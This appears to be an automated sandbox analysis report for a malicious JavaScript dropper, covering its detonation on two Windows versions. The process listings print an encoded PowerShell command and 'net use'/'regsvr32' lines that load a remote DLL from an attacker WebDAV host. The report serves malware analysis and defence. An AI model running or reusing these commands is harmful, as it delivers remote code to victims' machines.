Malware Analysis Report

2024-12-07 16:36

Sample ID 241114-c8j89atdjr
Target 85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js
SHA256 85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013
Tags
defense_evasion execution
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013

Threat Level: Shows suspicious behavior

The file 85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js was found to be: Shows suspicious behavior.

Malicious Activity Summary

defense_evasion execution

Checks computer location settings

Obfuscated Files or Information: Command Obfuscation

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious use of WriteProcessMemory

Runs net.exe

Delays execution with timeout.exe

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-14 02:44

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-14 02:44

Reported

2024-11-14 02:47

Platform

win7-20241010-en

Max time kernel

75s

Max time network

19s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js

Signatures

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Windows\system32\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2116 wrote to memory of 3000 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2116 wrote to memory of 3000 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2116 wrote to memory of 3000 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3000 wrote to memory of 2144 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 3000 wrote to memory of 2144 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 3000 wrote to memory of 2144 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 3000 wrote to memory of 2312 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3000 wrote to memory of 2312 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3000 wrote to memory of 2312 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2312 wrote to memory of 2952 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2312 wrote to memory of 2952 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2312 wrote to memory of 2952 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 3000 wrote to memory of 3064 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3000 wrote to memory of 3064 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3000 wrote to memory of 3064 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3064 wrote to memory of 2496 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 3064 wrote to memory of 2496 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 3064 wrote to memory of 2496 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 3064 wrote to memory of 2496 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 3064 wrote to memory of 2496 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA1ADMANQA0ADcAMwA3ADcAMwAwADAAOAA0AC4AZABsAGwA

C:\Windows\system32\timeout.exe

"C:\Windows\system32\timeout.exe" 1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\net.exe

net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\5354737730084.dll

C:\Windows\system32\regsvr32.exe

regsvr32 /s \\94.159.113.79@8888\davwwwroot\5354737730084.dll

Network

N/A

Files

memory/3000-4-0x000007FEF53CE000-0x000007FEF53CF000-memory.dmp

memory/3000-5-0x000000001B320000-0x000000001B602000-memory.dmp

memory/3000-6-0x00000000024E0000-0x00000000024E8000-memory.dmp

memory/3000-7-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

memory/3000-8-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

memory/3000-9-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

memory/3000-10-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

memory/3000-11-0x000007FEF5110000-0x000007FEF5AAD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-14 02:44

Reported

2024-11-14 02:47

Platform

win10v2004-20241007-en

Max time kernel

95s

Max time network

150s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\85852f5e63276af2c197db99c06f27ce7a8faa7d1c58ca14275fb03875b60013.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA1ADMANQA0ADcAMwA3ADcAMwAwADAAOAA0AC4AZABsAGwA

C:\Windows\system32\timeout.exe

"C:\Windows\system32\timeout.exe" 1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\net.exe

net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\5354737730084.dll

C:\Windows\system32\regsvr32.exe

regsvr32 /s \\94.159.113.79@8888\davwwwroot\5354737730084.dll

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 209.205.72.20.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 65.139.73.23.in-addr.arpa udp
US 8.8.8.8:53 180.129.81.91.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp

Files

memory/2736-0-0x00007FFBC48C3000-0x00007FFBC48C5000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0bzsqyhp.2ro.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2736-10-0x00000204F0D30000-0x00000204F0D52000-memory.dmp

memory/2736-11-0x00007FFBC48C0000-0x00007FFBC5381000-memory.dmp

memory/2736-12-0x00007FFBC48C0000-0x00007FFBC5381000-memory.dmp

memory/2736-15-0x00007FFBC48C0000-0x00007FFBC5381000-memory.dmp